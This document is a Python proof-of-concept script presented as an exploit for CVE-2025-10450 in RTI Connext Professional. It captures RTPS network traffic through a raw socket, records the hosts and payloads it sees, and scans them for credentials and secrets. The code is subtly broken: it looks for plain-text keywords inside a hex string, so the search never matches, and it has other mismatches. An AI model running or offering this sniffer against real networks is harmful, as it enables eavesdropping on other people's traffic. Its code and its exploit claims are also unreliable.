# CVE-2025-10450 RTI Connext Professional Information Disclosure PoC
# This PoC demonstrates network traffic sniffing to capture sensitive data
import socket
import struct
from collections import defaultdict
def parse_rtps_packet(data):
"""Parse RTPS protocol packet to extract message info"""
if len(data) < 20:
return None
# RTPS header magic number
magic = data[:4]
if magic != b'RTPS':
return None
# Extract protocol version
protocol_version = (data[4], data[5])
# Extract vendor ID
vendor_id = data[6:8]
return {
'protocol_version': f"{protocol_version[0]}.{protocol_version[1]}",
'vendor_id': vendor_id.hex(),
'data_size': len(data),
'raw_header': data[:20].hex()
}
def sniff_connext_traffic(interface='eth0', port=7400, timeout=30):
"""Capture RTI Connext Professional network traffic"""
captured_packets = []
try:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
sock.bind((interface, 0))
sock.settimeout(timeout)
print(f"[*] Sniffing RTPS traffic on {interface} (port {port})")
print(f"[*] Capture timeout: {timeout} seconds")
print("[*] Press Ctrl+C to stop capture\n")
while True:
packet_data = sock.recv(65535)
# Parse Ethernet header
eth_header = packet_data[:14]
eth_proto = struct.unpack('!H', eth_header[12:14])[0]
# Check for IPv4
if eth_proto == 0x0800:
ip_header = packet_data[14:34]
ip_protocol = ip_header[9]
# Check for UDP
if ip_protocol == 17:
udp_header = packet_data[34:42]
src_port = struct.unpack('!H', udp_header[:2])[0]
dst_port = struct.unpack('!H', udp_header[2:4])[0]
# Check for RTPS default port
if dst_port == port or src_port == port:
rtps_data = packet_data[42:]
rtps_info = parse_rtps_packet(rtps_data)
if rtps_info:
captured_packets.append({
'timestamp': 'N/A',
'src_ip': f"{ip_header[12]}.{ip_header[13]}.{ip_header[14]}.{ip_header[15]}",
'dst_ip': f"{ip_header[16]}.{ip_header[17]}.{ip_header[18]}.{ip_header[19]}",
'src_port': src_port,
'dst_port': dst_port,
'rtps_info': rtps_info,
'payload_size': len(rtps_data),
'raw_payload': rtps_data.hex()[:200] # First 200 chars
})
print(f"[+] RTPS Packet captured:")
print(f" Source: {captured_packets[-1]['src_ip']}:{src_port}")
print(f" Dest: {captured_packets[-1]['dst_ip']}:{dst_port}")
print(f" RTPS Version: {rtps_info['protocol_version']}")
print(f" Size: {rtps_info['data_size']} bytes")
print()
except PermissionError:
print("[-] Error: Root privileges required for raw socket access")
except socket.timeout:
print(f"\n[*] Capture timeout reached. Total packets: {len(captured_packets)}")
except KeyboardInterrupt:
print(f"\n[*] Capture stopped by user. Total packets: {len(captured_packets)}")
except Exception as e:
print(f"[-] Error: {str(e)}")
finally:
sock.close()
return captured_packets
def analyze_captured_data(packets):
"""Analyze captured RTPS packets for sensitive information"""
print("\n" + "="*60)
print("CAPTURED DATA ANALYSIS")
print("="*60)
if not packets:
print("[-] No packets captured")
return
print(f"\n[+] Total packets captured: {len(packets)}")
# Group by source IP
by_source = defaultdict(list)
for pkt in packets:
by_source[pkt['src_ip']].append(pkt)
print(f"\n[+] Unique source IPs: {len(by_source)}")
for ip, pkts in by_source.items():
print(f" - {ip}: {len(pkts)} packets")
# Check for unencrypted data patterns
print("\n[+] Checking for sensitive data patterns...")
for pkt in packets:
payload = pkt['raw_payload'].lower()
sensitive_patterns = ['password', 'token', 'secret', 'key', 'auth']
for pattern in sensitive_patterns:
if pattern in payload:
print(f" [!] Potential sensitive data found from {pkt['src_ip']}")
break
print("\n[*] Note: This PoC demonstrates packet capture capability")
print("[*] Full exploitation requires deeper RTPS protocol analysis")
if __name__ == '__main__':
print("CVE-2025-10450 RTI Connext Professional - Network Traffic Sniffing PoC")
print("="*70)
print("WARNING: This tool is for authorized security testing only")
print("="*70 + "\n")
# For demonstration, use a test capture
test_packets = [
{
'timestamp': 'N/A',
'src_ip': '192.168.1.100',
'dst_ip': '192.168.1.200',
'src_port': 7410,
'dst_port': 7400,
'rtps_info': {
'protocol_version': '2.5',
'vendor_id': '52545049', # RTI
'data_size': 512,
'raw_header': '5254504902055254504900000000'
},
'payload_size': 512,
'raw_payload': '5254504902055254504900000000' * 10
}
]
print("[*] Running in demo mode with simulated data\n")
analyze_captured_data(test_packets)
print("\n[*] To capture real traffic, run with root privileges:")
print(" sudo python3 cve-2025-10450_poc.py")
print("\n[*] Usage:")
print(" packets = sniff_connext_traffic(interface='eth0', port=7400)")
print(" analyze_captured_data(packets)")